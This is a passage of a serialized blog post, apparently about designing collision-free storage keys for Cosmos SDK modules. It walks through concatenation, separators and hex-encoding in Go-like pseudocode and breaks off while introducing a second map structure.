VaultId",{"type":23,"tag":230,"props":86804,"children":86805},{"style":676},[86806],{"type":29,"value":77981},{"type":23,"tag":230,"props":86808,"children":86809},{"class":232,"line":243},[86810,86814,86819],{"type":23,"tag":230,"props":86811,"children":86812},{"style":256},[86813],{"type":29,"value":35049},{"type":23,"tag":230,"props":86815,"children":86816},{"style":676},[86817],{"type":29,"value":86818}," Username",{"type":23,"tag":230,"props":86820,"children":86821},{"style":676},[86822],{"type":29,"value":86823}," string\n",{"type":23,"tag":230,"props":86825,"children":86826},{"class":232,"line":252},[86827,86831,86836],{"type":23,"tag":230,"props":86828,"children":86829},{"style":256},[86830],{"type":29,"value":35049},{"type":23,"tag":230,"props":86832,"children":86833},{"style":676},[86834],{"type":29,"value":86835}," PositionName",{"type":23,"tag":230,"props":86837,"children":86838},{"style":676},[86839],{"type":29,"value":86823},{"type":23,"tag":230,"props":86841,"children":86842},{"class":232,"line":280},[86843,86847,86851,86855],{"type":23,"tag":230,"props":86844,"children":86845},{"style":256},[86846],{"type":29,"value":35049},{"type":23,"tag":230,"props":86848,"children":86849},{"style":676},[86850],{"type":29,"value":9761},{"type":23,"tag":230,"props":86852,"children":86853},{"style":256},[86854],{"type":29,"value":23465},{"type":23,"tag":230,"props":86856,"children":86857},{"style":274},[86858],{"type":29,"value":277},{"type":23,"tag":230,"props":86860,"children":86861},{"class":232,"line":334},[86862,86866,86870],{"type":23,"tag":230,"props":86863,"children":86864},{"style":262},[86865],{"type":29,"value":44999},{"type":23,"tag":230,"props":86867,"children":86868},{"style":274},[86869],{"type":29,"value":78006},{"type":23,"tag":230,"props":86871,"children":86872},{"style":676},[86873],{"type":29,"value":86007},{"type":23,"tag":230,"props":86875,"children":86876},{"class":232,"line":371},[86877],{"type":23,"tag":230,"props":86878,"children":86879},{"style":274},[86880],{"type":29,"value":975},{"type":23,"tag":230,"props":86882,"children":86883},{"class":232,"line":391},[86884,86888,86893],{"type":23,"tag":230,"props":86885,"children":86886},{"style":256},[86887],{"type":29,"value":35049},{"type":23,"tag":230,"props":86889,"children":86890},{"style":676},[86891],{"type":29,"value":86892}," PositionMap",{"type":23,"tag":230,"props":86894,"children":86895},{"style":268},[86896],{"type":29,"value":86897}," :=\n",{"type":23,"tag":230,"props":86899,"children":86900},{"class":232,"line":400},[86901,86906,86910,86915,86919,86923,86927,86932,86936,86940,86944,86949,86953],{"type":23,"tag":230,"props":86902,"children":86903},{"style":256},[86904],{"type":29,"value":86905},"    map",{"type":23,"tag":230,"props":86907,"children":86908},{"style":274},[86909],{"type":29,"value":6069},{"type":23,"tag":230,"props":86911,"children":86912},{"style":676},[86913],{"type":29,"value":86914},"VaultId",{"type":23,"tag":230,"props":86916,"children":86917},{"style":274},[86918],{"type":29,"value":17735},{"type":23,"tag":230,"props":86920,"children":86921},{"style":256},[86922],{"type":29,"value":68878},{"type":23,"tag":230,"props":86924,"children":86925},{"style":274},[86926],{"type":29,"value":6069},{"type":23,"tag":230,"props":86928,"children":86929},{"style":676},[86930],{"type":29,"value":86931},"Username",{"type":23,"tag":230,"props":86933,"children":86934},{"style":274},[86935],{"type":29,"value":17735},{"type":23,"tag":230,"props":86937,"children":86938},{"style":256},[86939],{"type":29,"value":68878},{"type":23,"tag":230,"props":86941,"children":86942},{"style":274},[86943],{"type":29,"value":6069},{"type":23,"tag":230,"props":86945,"children":86946},{"style":676},[86947],{"type":29,"value":86948},"PositionName",{"type":23,"tag":230,"props":86950,"children":86951},{"style":274},[86952],{"type":29,"value":17735},{"type":23,"tag":230,"props":86954,"children":86955},{"style":676},[86956],{"type":29,"value":86957},"Position\n",{"type":23,"tag":32,"props":86959,"children":86960},{},[86961,86963,86969],{"type":29,"value":86962},"Given that there are two levels of keys in ",{"type":23,"tag":71,"props":86964,"children":86966},{"className":86965},[],[86967],{"type":29,"value":86968},"PositionMap",{"type":29,"value":86970},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":23,"tag":220,"props":86972,"children":86974},{"code":86973,"language":77943,"meta":7,"className":77944,"style":7},"storageKey := fmt.Sprintf(\n    \"%d%s%s\",\n    vaultId,\n    username,\n    positionName,\n)\n",[86975],{"type":23,"tag":71,"props":86976,"children":86977},{"__ignoreMap":7},[86978,87007,87019,87031,87043,87055],{"type":23,"tag":230,"props":86979,"children":86980},{"class":232,"line":233},[86981,86986,86990,86994,86998,87003],{"type":23,"tag":230,"props":86982,"children":86983},{"style":262},[86984],{"type":29,"value":86985},"storageKey",{"type":23,"tag":230,"props":86987,"children":86988},{"style":268},[86989],{"type":29,"value":78195},{"type":23,"tag":230,"props":86991,"children":86992},{"style":262},[86993],{"type":29,"value":84013},{"type":23,"tag":230,"props":86995,"children":86996},{"style":274},[86997],{"type":29,"value":312},{"type":23,"tag":230,"props":86999,"children":87000},{"style":294},[87001],{"type":29,"value":87002},"Sprintf",{"type":23,"tag":230,"props":87004,"children":87005},{"style":274},[87006],{"type":29,"value":619},{"type":23,"tag":230,"props":87008,"children":87009},{"class":232,"line":243},[87010,87015],{"type":23,"tag":230,"props":87011,"children":87012},{"style":380},[87013],{"type":29,"value":87014},"    \"%d%s%s\"",{"type":23,"tag":230,"props":87016,"children":87017},{"style":274},[87018],{"type":29,"value":388},{"type":23,"tag":230,"props":87020,"children":87021},{"class":232,"line":252},[87022,87027],{"type":23,"tag":230,"props":87023,"children":87024},{"style":262},[87025],{"type":29,"value":87026},"    vaultId",{"type":23,"tag":230,"props":87028,"children":87029},{"style":274},[87030],{"type":29,"value":388},{"type":23,"tag":230,"props":87032,"children":87033},{"class":232,"line":280},[87034,87039],{"type":23,"tag":230,"props":87035,"children":87036},{"style":262},[87037],{"type":29,"value":87038},"    username",{"type":23,"tag":230,"props":87040,"children":87041},{"style":274},[87042],{"type":29,"value":388},{"type":23,"tag":230,"props":87044,"children":87045},{"class":232,"line":334},[87046,87051],{"type":23,"tag":230,"props":87047,"children":87048},{"style":262},[87049],{"type":29,"value":87050},"    positionName",{"type":23,"tag":230,"props":87052,"children":87053},{"style":274},[87054],{"type":29,"value":388},{"type":23,"tag":230,"props":87056,"children":87057},{"class":232,"line":371},[87058],{"type":23,"tag":230,"props":87059,"children":87060},{"style":274},[87061],{"type":29,"value":4516},{"type":23,"tag":32,"props":87063,"children":87064},{},[87065],{"type":29,"value":87066},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":23,"tag":220,"props":87068,"children":87070},{"code":87069},"vaultId = 1,  username = \"2a\", positionName = \"b\"\n    => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\",  positionName = \"b\"\n    => storageKey = \"12ab\"\n",[87071],{"type":23,"tag":71,"props":87072,"children":87073},{"__ignoreMap":7},[87074],{"type":29,"value":87069},{"type":23,"tag":32,"props":87076,"children":87077},{},[87078,87083],{"type":23,"tag":2258,"props":87079,"children":87080},{},[87081],{"type":29,"value":87082},"So, how can we mitigate this issue?",{"type":29,"value":87084},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":23,"tag":220,"props":87086,"children":87088},{"code":87087,"language":77943,"meta":7,"className":77944,"style":7},"const (\n    Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    username,\n    Seperator,\n    positionName,\n)\n",[87089],{"type":23,"tag":71,"props":87090,"children":87091},{"__ignoreMap":7},[87092,87103,87120,87127,87134,87161,87173,87184,87195,87206,87217,87228],{"type":23,"tag":230,"props":87093,"children":87094},{"class":232,"line":233},[87095,87099],{"type":23,"tag":230,"props":87096,"children":87097},{"style":256},[87098],{"type":29,"value":259},{"type":23,"tag":230,"props":87100,"children":87101},{"style":274},[87102],{"type":29,"value":80345},{"type":23,"tag":230,"props":87104,"children":87105},{"class":232,"line":243},[87106,87111,87115],{"type":23,"tag":230,"props":87107,"children":87108},{"style":262},[87109],{"type":29,"value":87110},"    Seperator",{"type":23,"tag":230,"props":87112,"children":87113},{"style":268},[87114],{"type":29,"value":271},{"type":23,"tag":230,"props":87116,"children":87117},{"style":380},[87118],{"type":29,"value":87119}," \"|\"\n",{"type":23,"tag":230,"props":87121,"children":87122},{"class":232,"line":252},[87123],{"type":23,"tag":230,"props":87124,"children":87125},{"style":274},[87126],{"type":29,"value":4516},{"type":23,"tag":230,"props":87128,"children":87129},{"class":232,"line":280},[87130],{"type":23,"tag":230,"props":87131,"children":87132},{"emptyLinePlaceholder":18},[87133],{"type":29,"value":459},{"type":23,"tag":230,"props":87135,"children":87136},{"class":232,"line":334},[87137,87141,87145,87149,87153,87157],{"type":23,"tag":230,"props":87138,"children":87139},{"style":262},[87140],{"type":29,"value":86985},{"type":23,"tag":230,"props":87142,"children":87143},{"style":268},[87144],{"type":29,"value":78195},{"type":23,"tag":230,"props":87146,"children":87147},{"style":262},[87148],{"type":29,"value":84013},{"type":23,"tag":230,"props":87150,"children":87151},{"style":274},[87152],{"type":29,"value":312},{"type":23,"tag":230,"props":87154,"children":87155},{"style":294},[87156],{"type":29,"value":87002},{"type":23,"tag":230,"props":87158,"children":87159},{"style":274},[87160],{"type":29,"value":619},{"type":23,"tag":230,"props":87162,"children":87163},{"class":232,"line":371},[87164,87169],{"type":23,"tag":230,"props":87165,"children":87166},{"style":380},[87167],{"type":29,"value":87168},"    \"%d%s%s%s%s\"",{"type":23,"tag":230,"props":87170,"children":87171},{"style":274},[87172],{"type":29,"value":388},{"type":23,"tag":230,"props":87174,"children":87175},{"class":232,"line":391},[87176,87180],{"type":23,"tag":230,"props":87177,"children":87178},{"style":262},[87179],{"type":29,"value":87026},{"type":23,"tag":230,"props":87181,"children":87182},{"style":274},[87183],{"type":29,"value":388},{"type":23,"tag":230,"props":87185,"children":87186},{"class":232,"line":400},[87187,87191],{"type":23,"tag":230,"props":87188,"children":87189},{"style":262},[87190],{"type":29,"value":87110},{"type":23,"tag":230,"props":87192,"children":87193},{"style":274},[87194],{"type":29,"value":388},{"type":23,"tag":230,"props":87196,"children":87197},{"class":232,"line":444},[87198,87202],{"type":23,"tag":230,"props":87199,"children":87200},{"style":262},[87201],{"type":29,"value":87038},{"type":23,"tag":230,"props":87203,"children":87204},{"style":274},[87205],{"type":29,"value":388},{"type":23,"tag":230,"props":87207,"children":87208},{"class":232,"line":453},[87209,87213],{"type":23,"tag":230,"props":87210,"children":87211},{"style":262},[87212],{"type":29,"value":87110},{"type":23,"tag":230,"props":87214,"children":87215},{"style":274},[87216],{"type":29,"value":388},{"type":23,"tag":230,"props":87218,"children":87219},{"class":232,"line":462},[87220,87224],{"type":23,"tag":230,"props":87221,"children":87222},{"style":262},[87223],{"type":29,"value":87050},{"type":23,"tag":230,"props":87225,"children":87226},{"style":274},[87227],{"type":29,"value":388},{"type":23,"tag":230,"props":87229,"children":87230},{"class":232,"line":471},[87231],{"type":23,"tag":230,"props":87232,"children":87233},{"style":274},[87234],{"type":29,"value":4516},{"type":23,"tag":32,"props":87236,"children":87237},{},[87238],{"type":29,"value":87239},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":23,"tag":32,"props":87241,"children":87242},{},[87243,87245,87251,87252,87258],{"type":29,"value":87244},"Sadly, it doesn't. Since the ",{"type":23,"tag":71,"props":87246,"children":87248},{"className":87247},[],[87249],{"type":29,"value":87250},"username",{"type":29,"value":112},{"type":23,"tag":71,"props":87253,"children":87255},{"className":87254},[],[87256],{"type":29,"value":87257},"vaultName",{"type":29,"value":87259}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":23,"tag":220,"props":87261,"children":87263},{"code":87262},"vaultId = 1, username = \"a|\", positionName = \"b\"\n    => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\",  positionName = \"|b\"\n    => storageKey = \"1|a||b\"\n",[87264],{"type":23,"tag":71,"props":87265,"children":87266},{"__ignoreMap":7},[87267],{"type":29,"value":87262},{"type":23,"tag":32,"props":87269,"children":87270},{},[87271],{"type":29,"value":87272},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":23,"tag":220,"props":87274,"children":87276},{"code":87275,"language":77943,"meta":7,"className":77944,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    usernameEncoded,\n    Seperator,\n    positionNameEncoded\n)\n",[87277],{"type":23,"tag":71,"props":87278,"children":87279},{"__ignoreMap":7},[87280,87291,87306,87313,87320,87327,87348,87364,87402,87409,87446,87453,87473,87488,87524,87531,87566,87573,87600,87611,87622,87633,87645,87656,87664],{"type":23,"tag":230,"props":87281,"children":87282},{"class":232,"line":233},[87283,87287],{"type":23,"tag":230,"props":87284,"children":87285},{"style":256},[87286],{"type":29,"value":259},{"type":23,"tag":230,"props":87288,"children":87289},{"style":274},[87290],{"type":29,"value":80345},{"type":23,"tag":230,"props":87292,"children":87293},{"class":232,"line":243},[87294,87298,87302],{"type":23,"tag":230,"props":87295,"children":87296},{"style":262},[87297],{"type":29,"value":87110},{"type":23,"tag":230,"props":87299,"children":87300},{"style":268},[87301],{"type":29,"value":271},{"type":23,"tag":230,"props":87303,"children":87304},{"style":380},[87305],{"type":29,"value":87119},{"type":23,"tag":230,"props":87307,"children":87308},{"class":232,"line":252},[87309],{"type":23,"tag":230,"props":87310,"children":87311},{"style":274},[87312],{"type":29,"value":4516},{"type":23,"tag":230,"props":87314,"children":87315},{"class":232,"line":280},[87316],{"type":23,"tag":230,"props":87317,"children":87318},{"emptyLinePlaceholder":18},[87319],{"type":29,"value":459},{"type":23,"tag":230,"props":87321,"children":87322},{"class":232,"line":334},[87323],{"type":23,"tag":230,"props":87324,"children":87325},{"emptyLinePlaceholder":18},[87326],{"type":29,"value":459},{"type":23,"tag":230,"props":87328,"children":87329},{"class":232,"line":371},[87330,87335,87339,87344],{"type":23,"tag":230,"props":87331,"children":87332},{"style":262},[87333],{"type":29,"value":87334},"usernameEncoded",{"type":23,"tag":230,"props":87336,"children":87337},{"style":268},[87338],{"type":29,"value":78195},{"type":23,"tag":230,"props":87340,"children":87341},{"style":294},[87342],{"type":29,"value":87343}," make",{"type":23,"tag":230,"props":87345,"children":87346},{"style":274},[87347],{"type":29,"value":619},{"type":23,"tag":230,"props":87349,"children":87350},{"class":232,"line":391},[87351,87356,87360],{"type":23,"tag":230,"props":87352,"children":87353},{"style":274},[87354],{"type":29,"value":87355},"    []",{"type":23,"tag":230,"props":87357,"children":87358},{"style":676},[87359],{"type":29,"value":86544},{"type":23,"tag":230,"props":87361,"children":87362},{"style":274},[87363],{"type":29,"value":388},{"type":23,"tag":230,"props":87365,"children":87366},{"class":232,"line":400},[87367,87372,87376,87381,87385,87389,87393,87397],{"type":23,"tag":230,"props":87368,"children":87369},{"style":262},[87370],{"type":29,"value":87371},"    hex",{"type":23,"tag":230,"props":87373,"children":87374},{"style":274},[87375],{"type":29,"value":312},{"type":23,"tag":230,"props":87377,"children":87378},{"style":294},[87379],{"type":29,"value":87380},"EncodedLen",{"type":23,"tag":230,"props":87382,"children":87383},{"style":274},[87384],{"type":29,"value":302},{"type":23,"tag":230,"props":87386,"children":87387},{"style":294},[87388],{"type":29,"value":11471},{"type":23,"tag":230,"props":87390,"children":87391},{"style":274},[87392],{"type":29,"value":302},{"type":23,"tag":230,"props":87394,"children":87395},{"style":262},[87396],{"type":29,"value":87250},{"type":23,"tag":230,"props":87398,"children":87399},{"style":274},[87400],{"type":29,"value":87401},")),\n",{"type":23,"tag":230,"props":87403,"children":87404},{"class":232,"line":444},[87405],{"type":23,"tag":230,"props":87406,"children":87407},{"style":274},[87408],{"type":29,"value":4516},{"type":23,"tag":230,"props":87410,"children":87411},{"class":232,"line":453},[87412,87417,87421,87426,87430,87434,87438,87442],{"type":23,"tag":230,"props":87413,"children":87414},{"style":262},[87415],{"type":29,"value":87416},"hex",{"type":23,"tag":230,"props":87418,"children":87419},{"style":274},[87420],{"type":29,"value":312},{"type":23,"tag":230,"props":87422,"children":87423},{"style":294},[87424],{"type":29,"value":87425},"Encode",{"type":23,"tag":230,"props":87427,"children":87428},{"style":274},[87429],{"type":29,"value":302},{"type":23,"tag":230,"props":87431,"children":87432},{"style":262},[87433],{"type":29,"value":87334},{"type":23,"tag":230,"props":87435,"children":87436},{"style":274},[87437],{"type":29,"value":684},{"type":23,"tag":230,"props":87439,"children":87440},{"style":262},[87441],{"type":29,"value":87250},{"type":23,"tag":230,"props":87443,"children":87444},{"style":274},[87445],{"type":29,"value":4516},{"type":23,"tag":230,"props":87447,"children":87448},{"class":232,"line":462},[87449],{"type":23,"tag":230,"props":87450,"children":87451},{"emptyLinePlaceholder":18},[87452],{"type":29,"value":459},{"type":23,"tag":230,"props":87454,"children":87455},{"class":232,"line":471},[87456,87461,87465,87469],{"type":23,"tag":230,"props":87457,"children":87458},{"style":262},[87459],{"type":29,"value":87460},"positionNameEncoded",{"type":23,"tag":230,"props":87462,"children":87463},{"style":268},[87464],{"type":29,"value":78195},{"type":23,"tag":230,"props":87466,"children":87467},{"style":294},[87468],{"type":29,"value":87343},{"type":23,"tag":230,"props":87470,"children":87471},{"style":274},[87472],{"type":29,"value":619},{"type":23,"tag":230,"props":87474,"children":87475},{"class":232,"line":500},[87476,87480,87484],{"type":23,"tag":230,"props":87477,"children":87478},{"style":274},[87479],{"type":29,"value":87355},{"type":23,"tag":230,"props":87481,"children":87482},{"style":676},[87483],{"type":29,"value":86544},{"type":23,"tag":230,"props":87485,"children":87486},{"style":274},[87487],{"type":29,"value":388},{"type":23,"tag":230,"props":87489,"children":87490},{"class":232,"line":514},[87491,87495,87499,87503,87507,87511,87515,87520],{"type":23,"tag":230,"props":87492,"children":87493},{"style":262},[87494],{"type":29,"value":87371},{"type":23,"tag":230,"props":87496,"children":87497},{"style":274},[87498],{"type":29,"value":312},{"type":23,"tag":230,"props":87500,"children":87501},{"style":294},[87502],{"type":29,"value":87380},{"type":23,"tag":230,"props":87504,"children":87505},{"style":274},[87506],{"type":29,"value":302},{"type":23,"tag":230,"props":87508,"children":87509},{"style":294},[87510],{"type":29,"value":11471},{"type":23,"tag":230,"props":87512,"children":87513},{"style":274},[87514],{"type":29,"value":302},{"type":23,"tag":230,"props":87516,"children":87517},{"style":262},[87518],{"type":29,"value":87519},"positionName",{"type":23,"tag":230,"props":87521,"children":87522},{"style":274},[87523],{"type":29,"value":87401},{"type":23,"tag":230,"props":87525,"children":87526},{"class":232,"line":897},[87527],{"type":23,"tag":230,"props":87528,"children":87529},{"style":274},[87530],{"type":29,"value":4516},{"type":23,"tag":230,"props":87532,"children":87533},{"class":232,"line":960},[87534,87538,87542,87546,87550,87554,87558,87562],{"type":23,"tag":230,"props":87535,"children":87536},{"style":262},[87537],{"type":29,"value":87416},{"type":23,"tag":230,"props":87539,"children":87540},{"style":274},[87541],{"type":29,"value":312},{"type":23,"tag":230,"props":87543,"children":87544},{"style":294},[87545],{"type":29,"value":87425},{"type":23,"tag":230,"props":87547,"children":87548},{"style":274},[87549],{"type":29,"value":302},{"type":23,"tag":230,"props":87551,"children":87552},{"style":262},[87553],{"type":29,"value":87460},{"type":23,"tag":230,"props":87555,"children":87556},{"style":274},[87557],{"type":29,"value":684},{"type":23,"tag":230,"props":87559,"children":87560},{"style":262},[87561],{"type":29,"value":87519},{"type":23,"tag":230,"props":87563,"children":87564},{"style":274},[87565],{"type":29,"value":4516},{"type":23,"tag":230,"props":87567,"children":87568},{"class":232,"line":969},[87569],{"type":23,"tag":230,"props":87570,"children":87571},{"emptyLinePlaceholder":18},[87572],{"type":29,"value":459},{"type":23,"tag":230,"props":87574,"children":87575},{"class":232,"line":4526},[87576,87580,87584,87588,87592,87596],{"type":23,"tag":230,"props":87577,"children":87578},{"style":262},[87579],{"type":29,"value":86985},{"type":23,"tag":230,"props":87581,"children":87582},{"style":268},[87583],{"type":29,"value":78195},{"type":23,"tag":230,"props":87585,"children":87586},{"style":262},[87587],{"type":29,"value":84013},{"type":23,"tag":230,"props":87589,"children":87590},{"style":274},[87591],{"type":29,"value":312},{"type":23,"tag":230,"props":87593,"children":87594},{"style":294},[87595],{"type":29,"value":87002},{"type":23,"tag":230,"props":87597,"children":87598},{"style":274},[87599],{"type":29,"value":619},{"type":23,"tag":230,"props":87601,"children":87602},{"class":232,"line":4534},[87603,87607],{"type":23,"tag":230,"props":87604,"children":87605},{"style":380},[87606],{"type":29,"value":87168},{"type":23,"tag":230,"props":87608,"children":87609},{"style":274},[87610],{"type":29,"value":388},{"type":23,"tag":230,"props":87612,"children":87613},{"class":232,"line":4542},[87614,87618],{"type":23,"tag":230,"props":87615,"children":87616},{"style":262},[87617],{"type":29,"value":87026},{"type":23,"tag":230,"props":87619,"children":87620},{"style":274},[87621],{"type":29,"value":388},{"type":23,"tag":230,"props":87623,"children":87624},{"class":232,"line":4559},[87625,87629],{"type":23,"tag":230,"props":87626,"children":87627},{"style":262},[87628],{"type":29,"value":87110},{"type":23,"tag":230,"props":87630,"children":87631},{"style":274},[87632],{"type":29,"value":388},{"type":23,"tag":230,"props":87634,"children":87635},{"class":232,"line":4587},[87636,87641],{"type":23,"tag":230,"props":87637,"children":87638},{"style":262},[87639],{"type":29,"value":87640},"    usernameEncoded",{"type":23,"tag":230,"props":87642,"children":87643},{"style":274},[87644],{"type":29,"value":388},{"type":23,"tag":230,"props":87646,"children":87647},{"class":232,"line":4595},[87648,87652],{"type":23,"tag":230,"props":87649,"children":87650},{"style":262},[87651],{"type":29,"value":87110},{"type":23,"tag":230,"props":87653,"children":87654},{"style":274},[87655],{"type":29,"value":388},{"type":23,"tag":230,"props":87657,"children":87658},{"class":232,"line":4619},[87659],{"type":23,"tag":230,"props":87660,"children":87661},{"style":262},[87662],{"type":29,"value":87663},"    positionNameEncoded\n",{"type":23,"tag":230,"props":87665,"children":87666},{"class":232,"line":4627},[87667],{"type":23,"tag":230,"props":87668,"children":87669},{"style":274},[87670],{"type":29,"value":4516},{"type":23,"tag":32,"props":87672,"children":87673},{},[87674,87676,87681],{"type":29,"value":87675},"We did it. We finally eliminated all potential ",{"type":23,"tag":71,"props":87677,"children":87679},{"className":87678},[],[87680],{"type":29,"value":86985},{"type":29,"value":87682}," collisions.",{"type":23,"tag":32,"props":87684,"children":87685},{},[87686],{"type":29,"value":87687},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":23,"tag":32,"props":87689,"children":87690},{},[87691,87693,87699,87701,87706,87708,87713,87715,87720,87722,87728],{"type":29,"value":87692},"In the Cosmos framework, it is common for each ",{"type":23,"tag":71,"props":87694,"children":87696},{"className":87695},[],[87697],{"type":29,"value":87698},"Module",{"type":29,"value":87700}," to own a few ",{"type":23,"tag":71,"props":87702,"children":87704},{"className":87703},[],[87705],{"type":29,"value":86756},{"type":29,"value":87707}," and have individual ",{"type":23,"tag":71,"props":87709,"children":87711},{"className":87710},[],[87712],{"type":29,"value":81724},{"type":29,"value":87714},"s managing access to storages. It's also important to note that each ",{"type":23,"tag":71,"props":87716,"children":87718},{"className":87717},[],[87719],{"type":29,"value":86756},{"type":29,"value":87721}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":23,"tag":71,"props":87723,"children":87725},{"className":87724},[],[87726],{"type":29,"value":87727},"Modules",{"type":29,"value":312},{"type":23,"tag":32,"props":87730,"children":87731},{},[87732,87734,87739],{"type":29,"value":87733},"With that being said, what if we have to maintain more than one structure within the same ",{"type":23,"tag":71,"props":87735,"children":87737},{"className":87736},[],[87738],{"type":29,"value":86756},{"type":29,"value":5494},{"type":23,"tag":32,"props":87741,"children":87742},{},[87743,87745,87751,87753,87758],{"type":29,"value":87744},"To demonstrate this scenario, we introduce the ",{"type":23,"tag":71,"props":87746,"children":87748},{"className":87747},[],[87749],{"type":29,"value":87750},"NameToAddressMap",{"type":29,"value":87752}," structure, which will be stored in the same ",{"type":23,"tag":71,"props":87754,"children":87756},{"className":87755},[],[87757],{"type":29,"value":86756},{"type":29,"value":87759}," we previously used.",{"type":23,"tag":220,"props":87761,"children":87763},{"code":87762,"language":77943,"meta":7,"className":77944,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n    map[VaultId]map[Username]map[AddressName]Address\n",[87764],{"type":23,"tag":71,"props":87765,"children":87766},{"__ignoreMap":7},[87767,87782,87797,87804,87819,87838,87853,87860,87875,87930,87937,87953,87973,87988,87995,88011],{"type":23,"tag":230,"props":87768,"children":87769},{"class":232,"line":233},[87770,87774,87778],{"type":23,"tag":230,"props":87771,"children":87772},{"style":256},[87773],{"type":29,"value":35049},{"type":23,"tag":230,"props":87775,"children":87776},{"style":676},[87777],{"type":29,"value":86802},{"type":23,"tag":230,"props":87779,"children":87780},{"style":676},[87781],{"type":29,"value":77981},{"type":23,"tag":230,"props":87783,"children":87784},{"class":232,"line":243},[87785,87789,87793],{"type":23,"tag":230,"props":87786,"children":87787},{"style":256},[87788],{"type":29,"value":35049},{"type":23,"tag":230,"props":87790,"children":87791},{"style":676},[87792],{"type":29,"value":86818},{"type":23,"tag":230,"props":87794,"children":87795},{"style":676},[87796],{"type":29,"value":86823},{"type":23,"tag":230,"props":87798,"children":87799},{"class":232,"line":252},[87800],{"type":23,"tag":230,"props":87801,"children":87802},{"emptyLinePlaceholder":18},[87803],{"type":29,"value":459},{"type":23,"tag":230,"props":87805,"children":87806},{"class":232,"line":280},[87807,87811,87815],{"type":23,"tag":230,"props":87808,"children":87809},{"style":256},[87810],{"type":29,"value":35049},{"type":23,"tag":230,"props":87812,"children":87813},{"style":676},[87814],{"type":29,"value":86835},{"type":23,"tag":230,"props":87816,"children":87817},{"style":676},[87818],{"type":29,"value":86823},{"type":23,"tag":230,"props":87820,"children":87821},{"class":232,"line":334},[87822,87826,87830,87834],{"type":23,"tag":230,"props":87823,"children":87824},{"style":256},[87825],{"type":29,"value":35049},{"type":23,"tag":230,"props":87827,"children":87828},{"style":676},[87829],{"type":29,"value":9761},{"type":23,"tag":230,"props":87831,"children":87832},{"style":256},[87833],{"type":29,"value":23465},{"type":23,"tag":230,"props":87835,"children":87836},{"style":274},[87837],{"type":29,"value":277},{"type":23,"tag":230,"props":87839,"children":87840},{"class":232,"line":371},[87841,87845,87849],{"type":23,"tag":230,"props":87842,"children":87843},{"style":262},[87844],{"type":29,"value":44999},{"type":23,"tag":230,"props":87846,"children":87847},{"style":274},[87848],{"type":29,"value":78006},{"type":23,"tag":230,"props":87850,"children":87851},{"style":676},[87852],{"type":29,"value":86007},{"type":23,"tag":230,"props":87854,"children":87855},{"class":232,"line":391},[87856],{"type":23,"tag":230,"props":87857,"children":87858},{"style":274},[87859],{"type":29,"value":975},{"type":23,"tag":230,"props":87861,"children":87862},{"class":232,"line":400},[87863,87867,87871],{"type":23,"tag":230,"props":87864,"children":87865},{"style":256},[87866],{"type":29,"value":35049},{"type":23,"tag":230,"props":87868,"children":87869},{"style":676},[87870],{"type":29,"value":86892},{"type":23,"tag":230,"props":87872,"children":87873},{"style":268},[87874],{"type":29,"value":86897},{"type":23,"tag":230,"props":87876,"children":87877},{"class":232,"line":444},[87878,87882,87886,87890,87894,87898,87902,87906,87910,87914,87918,87922,87926],{"type":23,"tag":230,"props":87879,"children":87880},{"style":256},[87881],{"type":29,"value":86905},{"type":23,"tag":230,"props":87883,"children":87884},{"style":274},[87885],{"type":29,"value":6069},{"type":23,"tag":230,"props":87887,"children":87888},{"style":676},[87889],{"type":29,"value":86914},{"type":23,"tag":230,"props":87891,"children":87892},{"style":274},[87893],{"type":29,"value":17735},{"type":23,"tag":230,"props":87895,"children":87896},{"style":256},[87897],{"type":29,"value":68878},{"type":23,"tag":230,"props":87899,"children":87900},{"style":274},[87901],{"type":29,"value":6069},{"type":23,"tag":230,"props":87903,"children":87904},{"style":676},[87905],{"type":29,"value":86931},{"type":23,"tag":230,"props":87907,"children":87908},{"style":274},[87909],{"type":29,"value":17735},{"type":23,"tag":230,"props":87911,"children":87912},{"style":256},[87913],{"type":29,"value":68878},{"type":23,"tag":230,"props":87915,"children":87916},{"style":274},[87917],{"type":29,"value":6069},{"type":23,"tag":230,"props":87919,"children":87920},{"style":676},[87921],{"type":29,"value":86948},{"type":23,"tag":230,"props":87923,"children":87924},{"style":274},[87925],{"type":29,"value":17735},{"type":23,"tag":230,"props":87927,"children":87928},{"style":676},[87929],{"type":29,"value":86957},{"type":23,"tag":230,"props":87931,"children":87932},{"class":232,"line":453},[87933],{"type":23,"tag":230,"props":87934,"children":87935},{"emptyLinePlaceholder":18},[87936],{"type":29,"value":459},{"type":23,"tag":230,"props":87938,"children":87939},{"class":232,"line":462},[87940,87944,87949],{"type":23,"tag":230,"props":87941,"children":87942},{"style":256},[87943],{"type":29,"value":35049},{"type":23,"tag":230,"props":87945,"children":87946},{"style":676},[87947],{"type":29,"value":87948}," 